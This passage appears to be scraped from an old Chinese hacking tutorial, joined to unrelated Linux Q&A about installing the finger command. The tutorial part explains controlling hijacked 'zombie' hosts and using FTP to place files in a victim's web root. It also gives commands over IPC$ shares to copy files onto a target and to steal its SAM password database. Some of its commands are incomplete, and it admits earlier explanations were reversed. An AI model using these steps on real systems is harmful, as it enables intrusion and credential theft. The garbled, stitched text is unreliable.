這樣就可以連到對方的99埠.那你就可以在對方運行命令了,這個也就是肉雞.
---------------------------------------------------------------------------------------------------------------------------
4:FTP
它可以將你的東西傳到對方機子上,你可以去申請個支持FTP上傳的空間,國內多的是,如果真的找不到,我給www.51.NET,不錯的.當我們申請完後,...�約癋TP伺服器.
在上傳前需要登陸先,這里我們假設FTP伺服器www.51.NET,用戶名是HUCJS,密碼是654321
ftp www.51.net
他會要求輸入用戶,成功後會要求輸入密碼.
----------------------
下面先說上傳,假設你需上傳的文件是INDEX.HTM,它位於C:\下,傳到對方D:\
get c:\index.htm d:\
假設你要把對方C盤下的INDEX.HTM,下到你的機子的D盤下
put c:\index.htm d:\
--------------------------------------------------
這里的問題是兩個命令的解釋正好弄反了,登陸FTP伺服器後get才是下載,而put命令是上傳,這和tftp的命令正好相反,在tftp命令里get是上傳put是下載,這下明白了吧,而且在FTP伺服器中不能用c:\和d:\這樣來指明路徑,這也是在tftp裡面用的方法,FTP可不會執行的,不信你去試好了,正確應該這樣上傳文件put index.htm這樣就足夠了,裝c盤根目錄下的index.htm文件上傳到FTP伺服器的當前目錄下,不喜歡就del index.htm刪掉這文件,下載時先查看一下目錄,dir然後看這個目錄里有什麼,有你要的你就get index.htm這樣就把index.htm這個文件下載到你自己的c盤根目錄下了。
--------------------------------------------------------------
get index.htm c:\inetpub\wwwroot\index.htm(這里是把你空間上的index.htm下載到對方的c:\inetpub\wwwroot\index.htm)"
這句的解釋里就沒有出現錯誤,呵呵,看來那以前的還是馬虎所至吧
好了,總算找出錯處了吧,再說下面吧
5:
下面我說說怎樣把本地的文件復制到對方硬碟上去, 需要建立好IPC$連接才有效。
這里我們把本地C盤下的index.htm復制到127.0.0.1的C盤下
index.htm \\127.0.0.1\c$\index.htm
----------------------
如果你要復制到D盤下 把C改為D, 就行了!
index.htm \\127.0.0.1\d$\index.htm
----------------------
如果你要把他復制到 WINNT 目錄里
就要把輸入
index.htm \\127.0.0.1\admin$\index.htm
admin$是winnt
---------------------
要把對方的文件復制過來,順便告訴大家 NT的備份的資料庫放在x:\winnt\repair\sam._ sam._是資料庫的文件名
---------------------- ----------------------
下面就把127.0.0.1的資料庫復制到本地C盤下
\\127.0.0.1\admin$\repair\sam._ c:\
這個sam._這明顯是NT主機的口令檔,如果是win2000機器的口令文件應該是sam
-----------------------------------------------------------------------
H. Linux 中可以添加新的命令嗎比如說有的版本里沒有finger命令,能手動添加嗎
必須可以啊!linux完全開源,連源代碼內核你都能改,更別說命令了。我知道一個比較方便的途徑。/bin下存放的都是一般許可權的可運行的二進制命令,/sbin下是root許可權的可運行的二進制命令。這兩個目錄都是終端下輸入命令的搜索路徑。樓主可以把一些命令的程序放里,應該就可以了。祝樓主成功!
網址沒有,不過樓主可以看看,cd到/bin目錄下,發現裡面存放的都是各種命令。命令其實就是編好的程序,樓主試試把別的版本中你需要的命令復制到/bin或/sbin下,應該可以,不過我沒試過,呵呵。祝成功!
I. Linux中 輸入finger 後,提示bash: finger: command not found ,請問如何解決
沒有包就裝個,yum install finger (rpm方式)我的默認沒裝,自己裝個